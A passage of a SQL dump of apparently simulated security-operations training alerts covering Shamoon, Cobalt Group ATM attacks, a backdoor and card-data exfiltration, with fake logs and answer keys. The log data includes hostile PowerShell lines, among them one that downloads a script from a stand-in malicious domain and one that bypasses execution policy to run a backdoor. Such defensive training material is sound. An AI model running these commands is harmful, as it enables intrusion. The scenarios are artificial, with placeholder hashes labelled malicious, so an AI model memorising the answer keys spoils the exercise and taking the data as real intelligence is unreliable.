2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.454Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:39Z\\\",\\\"event_source\\\":\\\"disk_forensics\\\",\\\"event_id\\\":\\\"DF-2023-10001\\\",\\\"description\\\":\\\"Detected overwrite of Master Boot Record on host 192.168.10.45. Associated with Shamoon malware.\\\",\\\"host_ip\\\":\\\"192.168.10.45\\\",\\\"malware_hash\\\":\\\"4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d\\\",\\\"malware_filename\\\":\\\"trksvr.exe\\\",\\\"attacker_ip\\\":\\\"185.53.177.20\\\",\\\"user\\\":\\\"admin_user\\\",\\\"action_taken\\\":\\\"MBR Overwrite\\\",\\\"political_imagery\\\":\\\"burning_flag.png\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(807, 'Suspicious Login Attempt Detected', 'medium', 'Firewall Logs', 'The Cobalt Group initiated an attack attempt through a phishing campaign targeting bank employees. A suspicious login attempt was detected from an unfamiliar IP address.', 'Initial Access', 'T1566.001 - Spearphishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-01T10:15:30Z\",\"event_type\":\"login_attempt\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.5.23\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"username\":\"jdoe\",\"login_result\":\"failed\",\"attempted_filename\":\"invoice_2023.pdf\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"phishing_email_sender\":\"no-reply@fakebank.com\",\"phishing_email_subject\":\"Urgent: Invoice Attached\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.5.23\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Bank\'s internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Database\",\"verdict\":\"clean\",\"details\":\"Legitimate employee account\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"invoice_2023.pdf\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"suspicious\",\"details\":\"Filename commonly used in phishing attempts\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware\"}},{\"id\":\"artifact_6\",\"type\":\"email\",\"value\":\"no-reply@fakebank.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Email Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Email domain linked to phishing activity\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(808, 'Malware Execution Triggered', 'high', 'Endpoint Detection System', 'A custom malware designed to infiltrate ATM management systems has been executed on a compromised endpoint. The malware aims to establish a foothold within the network.', 'Execution', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"evt-123456\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"destination_port\":4444,\"username\":\"jdoe\",\"process_name\":\"atm_manager.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"event_description\":\"Execution of suspicious process detected\",\"host_name\":\"ATM-Server-01\",\"malware_name\":\"ATMInfiltrator\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelFeed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malware distribution campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"InternalRecords\",\"verdict\":\"internal\",\"details\":\"Internal ATM management server\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"MalwareDatabase\",\"verdict\":\"malicious\",\"details\":\"Hash corresponds to ATMInfiltrator malware\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_manager.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalRecords\",\"verdict\":\"suspicious\",\"details\":\"Unusual process execution detected on ATM management server\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(809, 'Backdoor Installation Identified', 'high', 'System Integrity Monitoring', 'A backdoor was installed on the compromised system to ensure continued access. This action was detected when an unauthorized remote access tool was found running persistently.', 'Persistence', 'T1059.001', 1, 'new', NULL, '{\"event_time\":\"2023-10-25T14:32:00Z\",\"event_type\":\"file_creation\",\"host_ip\":\"192.168.10.15\",\"external_ip\":\"203.0.113.45\",\"username\":\"compromised_user\",\"file\":{\"path\":\"C:\\\\Windows\\\\System32\\\\\",\"name\":\"backdoor.exe\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"process\":{\"name\":\"powershell.exe\",\"command_line\":\"powershell -ExecutionPolicy Bypass -File C:\\\\Windows\\\\System32\\\\backdoor.exe\"}}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.10.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with APT campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"File name commonly used by backdoor trojans.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known backdoor malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account exhibiting abnormal behavior.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:22.457Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"event_time\\\":\\\"2023-10-25T14:32:00Z\\\",\\\"event_type\\\":\\\"file_creation\\\",\\\"host_ip\\\":\\\"192.168.10.15\\\",\\\"external_ip\\\":\\\"203.0.113.45\\\",\\\"username\\\":\\\"compromised_user\\\",\\\"file\\\":{\\\"path\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\\\\",\\\"name\\\":\\\"backdoor.exe\\\",\\\"hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"},\\\"process\\\":{\\\"name\\\":\\\"powershell.exe\\\",\\\"command_line\\\":\\\"powershell -ExecutionPolicy Bypass -File C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\backdoor.exe\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(810, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'Anomalous network traffic detected indicating potential lateral movement by The Cobalt Group. The group is attempting to navigate through the network aiming at key systems managing ATM operations.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.1.3.25\",\"username\":\"atm_admin\",\"protocol\":\"SMB\",\"file_accessed\":\"\\\\\\\\10.1.3.25\\\\C$\\\\Windows\\\\System32\\\\atm_operations.exe\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"action\":\"File Access\",\"device\":\"192.168.1.15\",\"status\":\"Successful\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with Cobalt Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.3.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical ATM infrastructure server.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Cobalt Group malware.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"atm_admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"User account used in lateral movement attempts.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(811, 'ATM Software Manipulation Attempt', 'high', 'ATM Software Logs', 'An attempt was detected to manipulate ATM software, potentially allowing unauthorized cash withdrawals.', 'Execution', 'T1203 - Exploitation for Client Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:32:00Z\",\"event_id\":\"ATM-EXEC-005\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"username\":\"atm_user\",\"process_name\":\"atm_dispense.exe\",\"file_hash\":\"9e107d9d372bb6826bd81d3542a419d6\",\"action\":\"Execution\",\"status\":\"Attempted execution of unauthorized software detected\",\"remarks\":\"Detected suspicious execution attempt exploiting ATM software vulnerability.\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Database\",\"verdict\":\"malicious\",\"details\":\"IP associated with known ATM software exploitation campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Internal ATM machine IP.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"atm_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"clean\",\"details\":\"Registered ATM service account.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"atm_dispense.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Executable used in unauthorized ATM cash withdrawal attempts.\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"9e107d9d372bb6826bd81d3542a419d6\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Known malware hash associated with ATM manipulation.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'novice', 'SIEM', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.459Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:32:00Z\\\",\\\"event_id\\\":\\\"ATM-EXEC-005\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"atm_user\\\",\\\"process_name\\\":\\\"atm_dispense.exe\\\",\\\"file_hash\\\":\\\"9e107d9d372bb6826bd81d3542a419d6\\\",\\\"action\\\":\\\"Execution\\\",\\\"status\\\":\\\"Attempted execution of unauthorized software detected\\\",\\\"remarks\\\":\\\"Detected suspicious execution attempt exploiting ATM software vulnerability.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(812, 'Card Processing Network Breach', 'high', 'Card Processing Logs', 'Sensitive data from card processing networks is extracted to facilitate fraudulent transactions. A suspicious outbound connection was detected transferring sensitive card data.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:10Z\",\"event_id\":\"123456\",\"source_ip\":\"10.1.2.3\",\"destination_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"filename\":\"export_data_2023.zip\",\"file_hash\":\"a9b1c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"event_description\":\"Data transfer detected to external IP suspected for exfiltration.\",\"protocol\":\"HTTPS\",\"bytes_sent\":10485760,\"application\":\"card_process_app_v1.2\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with card data exfiltration.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.3\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of card processing server.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"export_data_2023.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal System\",\"verdict\":\"suspicious\",\"details\":\"Filename indicates potential data exfiltration.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"a9b1c3d4e5f678901234567890abcdef1234567890abcdef1234567890abcdef\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known exfiltration malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'novice', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(813, 'Money Mule Coordination', 'medium', 'Communications Monitoring', 'Detected coordination with a network of mules to physically collect dispensed cash. Communication with known malicious IPs observed.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:35Z\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"203.0.113.5\",\"protocol\":\"HTTPS\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"username\":\"jdoe\",\"email\":\"mule_coordinator@example.com\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"money_mule_schedule.xlsx\",\"malicious_command\":\"Invoke-WebRequest -Uri https://malicious-domain.com/mule_tasks -OutFile mule_tasks.ps1\",\"communication_type\":\"email\"}', '2026-01-12 22:20:16', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat 